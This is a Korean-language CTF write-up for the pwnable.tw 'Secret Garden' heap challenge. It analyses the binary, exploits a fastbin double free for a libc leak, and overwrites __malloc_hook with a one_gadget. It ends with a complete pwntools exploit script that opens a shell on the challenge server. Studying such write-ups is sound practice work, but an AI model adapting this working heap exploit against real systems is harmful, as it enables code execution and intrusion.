CIDY
[Pwnable.tw] Secret Garden(Write-up) 본문
머리아플 땐 역시 tw😊
이 문제는 예전에 풀다 만 건데 힙문제였던것같기도 하고..
메뉴다. 힙 문제인듯.
1. 꽃키우기
0x202024는 cnt같은 개념일듯. 100개만 키울 수 있는듯하다. 그리고 0x28만큼 할당해와서 0으로 쭉 밀어버린다. 그리고 이름의 길이를 unsigned로 size[0]에 입력받음. 근데 size는 signed임.
딱히 size제한은 없는듯. size[0]만큼 할당함. 그리고 거기에 size[0]만큼 입력받음. v0[1]에는 꽃 이름 적고... 그리고 v0[2]부터 꽃 색깔 입력받는데, 23글자면 뒤에 한바이트 남고 넘치지는 않을듯. 그리고 1은 플래그인가?
그리고 202040은 꽃이랍시고 할당한 포인터들 저장해두는 공간 같은데.. [0]에 값이 있으면 v2에 [1]주소부터 시작, v3 = 1로 표시하고, v2에 값이 있을 동안 계속 증가. 그러다가 202040[v3]에 v0저장.. 뭐 전형적인 저장 방식인듯.
꽃 구조: 0x28
0000 플래그? #꽃 이름 포인터 해제 여부
꽃 이름 포인터
꽃
색
깔
요런 느낌임.
2. 정원방문 메뉴이다.
202024에 값이 있으면 == 할당해둔 꽃이 있으면 if문 안으로 들어감. 반복문 돌면서 쭉 출력해주는듯. 조건은 202040[i]에 값이 있을 && *v1플래그가 켜져 있을 것. 뭐 꽃 없애면 그 플래그가 off되나보다.
3. 꽃 제거
20204값이 있으면 어떤 꽃 제거할거냐고 묻는다. v2는 idx격인 듯. 202040[idx]를 free...시키는 건 아니고, 꽃 이름만 해제시키네..? 근데 0x28자체를 해제하지는 않는다. 아 그리고 플래그도 0으로 만든다. hmm...
4. 정원 청소
v0에 202040넣고, v1에는 거기있는 값 넣고, *v0이 존재하고, 그 위치에 있는 플래그가 0이면 free(v1)시킨다. 그리고 202024(cnt)하나씩 줄이고.. 암튼 있는 ptr중에 해제된 꽃들 다 밀어버리는 선택지임.
5. 정원 떠나기
걍 엑싯임.
흠...일단 환경 검색해보니 역시 2.23임. 일단 할당해제로 무언가를 해야하는 건 확실. 일단 포인터들을 전역에 저장하는것만으로도 uaf위험 존재. visit메뉴로 릭하는 건 거의 확실할거고..
일단 visit메뉴에서의 출력 조건을 보면, *v1, 그러니까 플래그만 살아있으면 출력해줌. 그럼 이름적는 ptr만 해제시킨다음 출력하면 릭이 될텐데, 문제는 이름적는 ptr해제시킬 때 플래그도 0으로 만들어버린다는 거.
흠 이건 분명 코드 설계상의 논리적 오류로 릭이 될 것 같기는 하다. 최종 익스까지도 감안하면 무조건 uaf될 구석이 있을 것임.
저 0x1010은 항상 보이는데.. 아무래도 2.23에서는 문자열 scanf할 때 약간 버퍼 느낌으로다가 쓰이는 것 같다.
일단 fastbin은 단일 연결 리스트인데다 tcache와 같이 bk에 따로 검증값이 들어가지도 않아서(하긴 여긴 검증값으로 들어갈 청크도 없긴 함ㅋㅋ) 위와 같이 해제 이후에도 fd부분만 손상된다고 보면 된다. 그럼 재사용으로 어떻게 bk부분 포인터만 살려서 출력시킬 수는 없을까? -> fd에 값이 들어있다는건 bss에서는 포인터가 사라졌다는 뜻. -> 출력 불가
아 분명 빈틈이 있을텐데...플래그를 이용해서 생각보다 잘 설계해뒀다.
remove함수에서 free조건이 cnt검사랑 bss에 값이 있는지에 대한 검사밖에 없어서 위와 같이 free를 두 번 할수 있기는 하다. 위와 같이 바로 걸리긴 함. 근데 예전에 fastbin은 tcache랑 달라서 double free검사를 직전에 해제한 청크를 데려와서만 진행한다는 글을 읽은 적 있다. 그러니까 A해제 -> B해제 -> A해제 이런 식으로 fastbin에서 double free를 시킬 수 있다는 것.
역시 프로그램이 터지지 않는다. double free된 상태임. 이제 이걸 어떻게 활용해볼까... bss에 있는 0x28짜리 포인터들은 해제와 동시에 포인터도 초기화시키기 때문에 double free가 불가능하다. 저 꽃 이름쓰는 청크만 double free가능.
대충 이런식으로 연결되어 있음. 여기서 딱 보면 릭을 할 수 있겠다 싶을것임. 릭 시나리오는 다음과 같음.
fastbin은 tcache와 같은 LIFO이므로 여기서 1번:make(꽃 하나 할당 + 다른 사이즈로 꽃 이름 할당: 언소티드 연결될 만큼 크게.) 해준 다음 -> 1번의 꽃 이름을 해제하면 그 청크의 fd와 bk에 main arena주소가 적힐 것임. -> 2번:make(꽃 하나 할당 + 같은 사이즈로 꽃 이름 할당) 하면 꽃 이름 청크가 앞서 1번 꽃 청크랑 동일한 청크가 되는데, 이때 꽃 이름에 아무 값이나 써서 0이 아니도록만 해주면 됨 -> 그리고 visit하면 1번의 꽃 이름이 출력되면서 릭 가능.
이라고 생각했는데 변수가 생김.
이게 make(0x500, " ", " ")한 상황인데, 0x30이 smallbin에 들어가있음. 심지어 아래 0x30짜리 있었던 건 병합된건지 보이지도 않음.
알아보니 fastbin dup consolidate같다.
#define have_fastchunks(M) (((M)->flags & FASTCHUNKS_BIT) == 0)
else
{
idx= largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
malloc코드 중 이 부분이 문제의 부분인데, largebin크기의 할당 요청이 들어오면 have_chunks라는 매크로를 통해 fastbin에 할당된 청크가 존재하는지 검사한 뒤, 있을 경우 malloc_consolidate함수를 통해 병합되고, smallbin으로 들어간다.
이건 double free우회하려고 쓰는 기법인데 나는 지금 ABA로 dup에 성공한 상태라 오히려 일이 꼬여지는 상황이다.
그럼 시나리오를 다시 짜야 한다.
일단 이게 make(꽃 하나 할당 + 다른 사이즈로 꽃 이름 할당: 언소티드 연결될 만큼 크게.)를 한 상황임. 계획과는 많이 다른데. 그리고 smallbin으로 연결한 fd와 bk도 모두 망가졌음.
그럼 앞에서 ABA해제를 BAB로 바꿔주면 청크를 살릴 수 있지 않을까.
역시 살아남.
여기서 a0을 B로, 40을 A로 한거임. 이상태에서 malloc(0x28)하면 B가 할당되어 나감.
그럼 A->B->A상태가 됨. 근데 여기서 malloc(0x400)을 하면...
B는 해제된 상태로 판정되니까 병합되어서 0x410할당하는데 쓰이고(꽃과 꽃 이름 청크가 겹쳐있는 셈), A는 smallbin으로 넘어감. 여기서 remove(2)를 하면 꽃이랑 꽃 이름 둘 다 병합돼서 사라져버림;; 저게 남아있어야 A를 name으로 할당해올 수가 있는데 말이다. 그럼 앞에서 해제한 청크를 하나 더 만들어서 A가 name으로 할당될 수 있도록 유도해야 한다. 근데 colsolidate이전에 해제하면 smallbin으로 넘어가서 일이 또 복잡하니까, 맨 처음에 make(꽃 + 꽃과 같은 사이즈 이름) 했다가, 그걸 colsolidate이후에 remove해주면 될 듯.
그럼 smallbin을 먼저 탐색하냐, fastbin을 먼저 탐색하냐의 문제인데 fastbin이 먼저 탐색됨. 즉 A는(여기서 A는 0x40)무사히 note로 들어갈 수 있게 되는 것:)
이 상태에서 make(꽃 + 꽃과 같은 사이즈 이름)해주면 릭할 수 있음:) smallbin은 bk도 쓰니까 앞에 8바이트 꽃 이름으로 채워주면 손실없이 릭할 수 있음.
그럼 릭을 했으니 어떻게 최종 익스를 할 것인지 생각해봐야 한다. 당연하겠지만 이 문제는 full mitigation이고, hook overwrite가 유력하다. __free_hook덮은 뒤, 꽃 이름에 "/bin/sh\x00"적고 해제하면 그만이다.
일단 이것도 double free를 이용해볼 수 있다. 대략적인 시나리오를 짜보자면 다음과 같다.
A:make(꽃 + 0x50꽃이름) , B:make(꽃 + 0x50꽃이름) 하나씩 할당 -> ABA순으로 double free하면 0x50 fastbin에 ABA들어감 -> make(꽃 + 0x50꽃이름)하면서 A에 free hook연결시키기
간단한 계획이긴 한데, 여기서 문제는 fastbin은 사이즈 검사가 있다. __free_hook은 전후로 허허벌판이라 쓸만한 게 없고, 경험상 malloc_hook근처에 쓸만한 게 있으니까 0x50말고 0x70에 넣고, align망가뜨려서 원가젯으로 malloc_hook 덮는 게 나을듯.
이거쓰면될듯. - 0x23을 target으로 잡고, __malloc_hook은 0xb10부터니까 0x13은 이상한거 넣고, 그 다음에 원가젯으로 덮으면 됨.
그럼 overwrite도 했으니 dfb트리거해서 쉘따면 됨.
from pwn import *
def make(lenth, name, color):
p.sendafter("Your choice : ", "1")
p.sendlineafter("Length of the name :", str(lenth))
p.sendafter("The name of flower :", name)
p.sendlineafter("The color of the flower :", color)
def visit():
p.sendafter("Your choice : ", "2")
def remove(idx):
p.sendafter("Your choice : ", "3")
p.sendlineafter("Which flower do you want to remove from the garden:", str(idx))
def clean():
p.sendafter("Your choice : ", "4")
p = remote("chall.pwnable.tw", 10203)
#p = process("./secretgarden")
e = ELF("./secretgarden")
#libc = e.libc
libc = ELF("./libc_64.so.6")
#flower name chunk double free
make(0x28, "cidy", "for_name") #0
make(0x28, "cidy", "black") #1
make(0x28, "cidy", "blue") #2
remove(2)
remove(1)
remove(2)
#libc leak
make(0x400, "cidy", "hmm..") #3
remove(0)
make(0x28, "AAAAAAAA", "leak?") #4
visit()
p.recvuntil("AAAAAAAA")
main_arena = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00")) - 120
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
print(hex(libc_base))
target = malloc_hook - 0x23
one_gadget = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
oneshot = libc_base + one_gadget[2]
system = libc_base + libc.sym['system']
#hook overwrite
make(0x68, "cidy", "hookhook") #5
make(0x68, "cidy", "overwrite") #6
remove(5)
remove(6)
remove(5)
make(0x68, p64(target), "hoooook") #7
make(0x68, p64(target), "hoooook") #8
make(0x68, p64(target), "hoooook") #9
make(0x68, b"A" * 0x13 + p64(oneshot), "overwrite!!") #10
remove(8)
remove(8)
p.interactive()
전체 익스코드는 위와 같다.
이때까지 힙 나오면 삽질할 각오부터 하고 들어가서 그런지 실제로 삽질하느라 오래 걸렸는데, 취약점을 한번에 찾자는 마인드로 코드 읽으니까 바로 취약점이 보여서 금방 해결한 것 같다. 릭 과정에서 의도치 않게 fastbin colsolidate를 이용하게 되었는데, tcache가 그리워진다..
'Hack > Pwnable' 카테고리의 다른 글
[Pwnable] GitHub Security Lab CTF 1: SEGV hunt (0) | 2023.01.31 |
---|---|
[Pwnable.tw] Alive Note(Write-up) (0) | 2023.01.29 |
[Pwnable.tw] Spirited Away(Write-up) (1) | 2023.01.18 |
[Pwnable.tw] Death Note(Write-up) (0) | 2023.01.09 |
[Pwnable.tw] seethefile(Write-up) (1) | 2023.01.07 |